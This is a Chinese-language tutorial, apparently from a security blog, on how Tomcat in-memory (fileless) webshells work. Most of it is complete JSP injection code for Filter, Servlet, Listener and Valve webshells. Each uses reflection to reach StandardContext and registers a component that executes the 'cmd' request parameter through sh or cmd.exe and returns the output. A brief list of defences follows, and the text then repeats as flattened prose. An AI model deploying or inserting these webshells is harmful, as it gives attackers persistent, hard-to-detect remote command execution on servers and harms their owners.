Tomcat内存码实现原理
字数 1560 2025-08-10 08:28:09

Tomcat内存马实现原理详解

一、内存马概述

Webshell内存马是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马。与传统基于文件的Webshell不同,内存马利用中间件的进程执行恶意代码,不会有文件落地,给检测带来巨大难度。

内存马主要类型

  1. Servlet-API型

    • Filter型
    • Servlet型
    • Listener型
  2. 字节码增强型

    • 通过Java的Instrumentation动态修改已有代码
  3. Spring类

    • 拦截器型
    • Controller型

二、Tomcat基本架构

Tomcat中有4类容器组件,从上至下依次是:

  1. Engine - 最顶层容器组件,实现类为org.apache.catalina.core.StandardEngine
  2. Host - 代表一个虚拟主机,实现类为org.apache.catalina.core.StandardHost
  3. Context - 代表一个Web应用,实现类为org.apache.catalina.core.StandardContext
  4. Wrapper - 代表一个Servlet,实现类为org.apache.catalina.core.StandardWrapper

三、Filter型内存马实现

实现原理

在Web容器中创建含有恶意代码的Filter,在请求传递到Servlet前拦截并执行恶意代码。

关键步骤

  1. 创建恶意Filter类
  2. 构造相应的FilterDef
  3. 通过将FilterDef传入ApplicationFilterConfig创建Filter并加入filterConfigs
  4. 创建相应的FilterMaps,并将恶意Filter放在最前

具体实现代码

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
final String name = "shell";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

// 获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

// 创建恶意filter
if (filterConfigs.get(name) == null){
    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {}
        
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                servletResponse.getWriter().write(output);
                servletResponse.getWriter().flush();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }
        
        @Override
        public void destroy() {}
    };

    // 创建FilterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);

    // 创建FilterMap并放在最前
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);

    // 创建filterConfig实例
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put(name, filterConfig);
    out.print("Inject Success !");
}
%>

四、Servlet型内存马实现

实现原理

注册一个恶意的Servlet,与Filter相似,但创建过程不同。

关键步骤

  1. 创建恶意的Servlet实例
  2. 获取StandardContext实例
  3. 调用createWrapper方法并设置相应参数
  4. 调用addChild函数
  5. 调用addServletMappingDecoded方法将Servlet与URL绑定

具体实现代码

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>

<%
final String name = "servletshell";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Servlet servlet = new Servlet() {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {}
    
    @Override
    public ServletConfig getServletConfig() { return null; }
    
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }
    
    @Override
    public String getServletInfo() { return null; }
    
    @Override
    public void destroy() {}
};

org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/shell123",name);
%>

五、Listener型内存马实现

实现原理

利用ServletRequestListener监听请求事件,在请求创建或销毁时执行恶意代码。

关键步骤

  1. 创建恶意Listener
  2. 获取StandardContext
  3. 调用addApplicationListener方法添加Listener

具体实现代码

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%
final String name = "servletshell";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

ServletRequestListener listener = new ServletRequestListener() {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
        if (req.getParameter("cmd") != null){
            try {
                InputStream in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext()?s.next():"";
                Field requestF = req.getClass().getDeclaredField("request");
                requestF.setAccessible(true);
                Request request = (Request)requestF.get(req);
                PrintWriter out= request.getResponse().getWriter();
                out.println(output);
                out.flush();
                out.close();
            } catch (Exception e) {}
        }
    }
    
    @Override
    public void requestInitialized(ServletRequestEvent sre) {}
};

standardContext.addApplicationEventListener(listener);
%>

六、Valve型内存马实现

实现原理

在四大容器中,容器之间request的传递是由pipeline串联起来的,而其中的标准valve存储了invoke方法,实现了具体逻辑。通过创建恶意valve并添加到pipeline中,可以在请求传递过程中执行恶意代码。

关键步骤

  1. 创建恶意Valve类,重写invoke方法
  2. 获取StandardContext
  3. 调用getPipeline().addValve()方法添加恶意Valve

具体实现代码

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>

<%!
public final class myvalve implements Valve{
    @Override
    public void backgroundProcess() {}
    
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
            return;
        }
        this.getNext().invoke(request,response);
    }
    
    @Override
    public boolean isAsyncSupported() { return false; }
}
%>

<%
final String name = "shell";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

myvalve myvalve = new myvalve();
standardContext.getPipeline().addValve(myvalve);
%>

七、防御措施

  1. 代码审计:检查应用是否存在任意文件上传、反序列化等漏洞
  2. 运行时监控:监控JVM中动态加载的类、Filter、Servlet、Listener等组件
  3. 权限控制:限制应用对Tomcat内部API的访问权限
  4. 安全加固:禁用不必要的反射功能,限制JSP执行权限
  5. 行为检测:检测异常的进程创建、命令执行等行为

八、总结

Tomcat内存马主要通过动态注册恶意组件实现无文件持久化,主要包括Filter型、Servlet型、Listener型和Valve型四种实现方式。防御这类攻击需要从漏洞修复、权限控制和行为监控等多方面入手。

Tomcat内存马实现原理详解 一、内存马概述 Webshell内存马是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马。与传统基于文件的Webshell不同,内存马利用中间件的进程执行恶意代码,不会有文件落地,给检测带来巨大难度。 内存马主要类型 Servlet-API型 Filter型 Servlet型 Listener型 字节码增强型 通过Java的Instrumentation动态修改已有代码 Spring类 拦截器型 Controller型 二、Tomcat基本架构 Tomcat中有4类容器组件,从上至下依次是: Engine - 最顶层容器组件,实现类为 org.apache.catalina.core.StandardEngine Host - 代表一个虚拟主机,实现类为 org.apache.catalina.core.StandardHost Context - 代表一个Web应用,实现类为 org.apache.catalina.core.StandardContext Wrapper - 代表一个Servlet,实现类为 org.apache.catalina.core.StandardWrapper 三、Filter型内存马实现 实现原理 在Web容器中创建含有恶意代码的Filter,在请求传递到Servlet前拦截并执行恶意代码。 关键步骤 创建恶意Filter类 构造相应的FilterDef 通过将FilterDef传入ApplicationFilterConfig创建Filter并加入filterConfigs 创建相应的FilterMaps,并将恶意Filter放在最前 具体实现代码 四、Servlet型内存马实现 实现原理 注册一个恶意的Servlet,与Filter相似,但创建过程不同。 关键步骤 创建恶意的Servlet实例 获取StandardContext实例 调用createWrapper方法并设置相应参数 调用addChild函数 调用addServletMappingDecoded方法将Servlet与URL绑定 具体实现代码 五、Listener型内存马实现 实现原理 利用ServletRequestListener监听请求事件,在请求创建或销毁时执行恶意代码。 关键步骤 创建恶意Listener 获取StandardContext 调用addApplicationListener方法添加Listener 具体实现代码 六、Valve型内存马实现 实现原理 在四大容器中,容器之间request的传递是由pipeline串联起来的,而其中的标准valve存储了invoke方法,实现了具体逻辑。通过创建恶意valve并添加到pipeline中,可以在请求传递过程中执行恶意代码。 关键步骤 创建恶意Valve类,重写invoke方法 获取StandardContext 调用getPipeline().addValve()方法添加恶意Valve 具体实现代码 七、防御措施 代码审计 :检查应用是否存在任意文件上传、反序列化等漏洞 运行时监控 :监控JVM中动态加载的类、Filter、Servlet、Listener等组件 权限控制 :限制应用对Tomcat内部API的访问权限 安全加固 :禁用不必要的反射功能,限制JSP执行权限 行为检测 :检测异常的进程创建、命令执行等行为 八、总结 Tomcat内存马主要通过动态注册恶意组件实现无文件持久化,主要包括Filter型、Servlet型、Listener型和Valve型四种实现方式。防御这类攻击需要从漏洞修复、权限控制和行为监控等多方面入手。